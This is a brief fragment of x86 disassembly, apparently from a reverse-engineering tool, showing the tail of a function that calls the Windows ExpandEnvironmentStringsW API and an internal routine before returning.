call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x400]
mov ecx, edi
push eax
call fcn.0040460a
mov eax, edi
pop edi
pop esi
leave
ret